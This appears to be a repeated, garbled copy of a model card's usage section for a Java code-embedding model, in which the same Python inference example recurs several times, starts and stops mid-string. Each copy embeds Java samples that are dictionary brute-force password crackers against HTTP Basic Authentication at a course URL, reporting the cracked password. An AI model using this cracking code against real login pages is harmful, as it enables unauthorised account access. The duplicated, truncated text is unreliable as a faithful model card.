= (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n      